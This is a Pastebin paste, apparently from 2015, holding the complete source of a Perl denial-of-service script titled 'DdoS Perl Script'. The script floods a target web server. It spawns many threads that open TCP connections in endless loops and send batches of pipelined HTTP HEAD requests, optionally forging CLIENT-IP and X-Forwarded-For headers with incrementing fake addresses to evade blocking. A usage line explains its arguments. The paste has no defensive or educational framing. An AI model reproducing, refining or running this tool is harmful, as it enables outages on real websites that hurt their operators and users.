Advertisement
TP2K1

DdoS Perl Script [Perl]

Jun 24th, 2015
1,078
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.90 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #!Author TP2K1
  3. package control;
  4.  
  5. my $ip;
  6.  
  7.  
  8. sub new {
  9. my ($class,$i) = @_;
  10. $ip = $i;
  11. my $self={};
  12. $ip = $i;
  13. bless $self, $class;
  14. return $self;
  15. }
  16.  
  17. sub mas {
  18. my ($self,$veces) = @_;
  19. $veces = 1 if($veces eq "");
  20. my ($a,$e,$o,$b) = split(/\./,$ip);
  21. for($as=0;$as<$veces;$as++) {
  22. $b++;
  23. if($b>=255) {$b=0;$o++;}
  24. if($o>=255) {$o=0;$e++;}
  25. if($e>=255) {$e=0;$a++;}
  26. die("No mas IPs!\n") if($a>=255);
  27. }
  28. $ip = join "",$a,".",$e,".",$o,".",$b;
  29. return $ip;
  30. }
  31.  
  32. 1;
  33.  
  34. package main;
  35.  
  36. use Socket;
  37. use IO::Socket::INET;
  38. use threads ('yield',
  39. 'exit' => 'threads_only',
  40. 'stringify');
  41. use threads::shared;
  42.  
  43. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0";
  44. my $method = "HEAD";
  45. my $hilo;
  46. my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
  47. my $randsemilla = "";
  48. for($i = 0; $i < 30; $i++) {
  49. $randsemilla .= $vals[int(rand($#vals))];
  50. }
  51. sub socker {
  52. my ($remote,$port) = @_;
  53. my ($iaddr, $paddr, $proto);
  54. $iaddr = inet_aton($remote) || return false;
  55. $paddr = sockaddr_in($port, $iaddr) || return false;
  56. $proto = getprotobyname('tcp');
  57. socket(SOCK, PF_INET, SOCK_STREAM, $proto);
  58. connect(SOCK, $paddr) || return false;
  59. return SOCK;
  60. }
  61.  
  62.  
  63. sub sender {
  64. my ($max,$puerto,$host,$file) = @_;
  65. my $sock;
  66. while(true) {
  67. my $paquete = "";
  68. $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp');
  69. unless($sock) {
  70. print "\n[x] Unable to connect...\n\n";
  71. sleep(1);
  72. next;
  73. }
  74. for($i=0;$i<$porconexion;$i++) {
  75. $ipinicial = $sumador->mas();
  76. my $filepath = $file;
  77. $filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
  78. $paquete .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  79. }
  80. $paquete =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  81. print $sock $paquete;
  82. }
  83. }
  84.  
  85. sub sender2 {
  86. my ($puerto,$host,$paquete) = @_;
  87. my $sock;
  88. my $sumador :shared;
  89. while(true) {
  90. $sock = &socker($host,$puerto);
  91. unless($sock) {
  92. print "\n[x] Unable to connect...\n\n";
  93. next;
  94. }
  95. print $sock $paquete;
  96. }
  97. }
  98.  
  99. sub comenzar {
  100. $SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
  101. $url = $ARGV[0];
  102. print "URL: ".$url."\n";
  103. $max = $ARGV[1];
  104. $porconexion = $ARGV[2];
  105. $ipfake = $ARGV[3];
  106. if($porconexion < 1) {
  107. print "[-]Invalid arg 3...\n";
  108. exit;
  109. }
  110. if($url !~ /^http:\/\//) {
  111. die("[x] Invalid URL!\n");
  112. }
  113. $url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
  114. ($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
  115. $puerto = 80;
  116. ($host,$puerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
  117. $file =~ s/\s/ /g;
  118. print join "","[!] Launching ",$max," threads!\n";
  119. $file = "/".$file if($file !~ /^\//);
  120. print join "","Target: ",$host,":",$puerto,"\nPath: ",$file,"\n\n";
  121. # entonces toca un paquete unico, no tiene caso que se genere por cada hilo :)...
  122. if($ipfake eq "") {
  123. # envio repetitivo
  124. my $paquetebase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  125. $paquetesender = "";
  126. $paquetesender = $paquetebase x $porconexion;
  127. $paquetesender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  128. for($v=0;$v<$max;$v++) {
  129. $thr[$v] = threads->create('sender2', ($puerto,$host,$paquetesender));
  130. }
  131. } else {
  132. # envio con ip...
  133. $sumador = control->new($ipfake);
  134. for($v=0;$v<$max;$v++) {
  135. $thr[$v] = threads->create('sender', ($porconexion,$puerto,$host,$file));
  136. }
  137. }
  138. print "[-] Launched!\n";
  139. for($v=0;$v<$max;$v++) {
  140. if ($thr[$v]->is_running()) {
  141. sleep(3);
  142. $v--;
  143. }
  144. }
  145. print "Fin!\n";
  146. }
  147.  
  148.  
  149. if($#ARGV > 2) {
  150. comenzar();
  151. } else {
  152. die("Use: script.pl [url] [Connections] [Requests per connection] [Initial false IP (optional)]\n");
  153. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement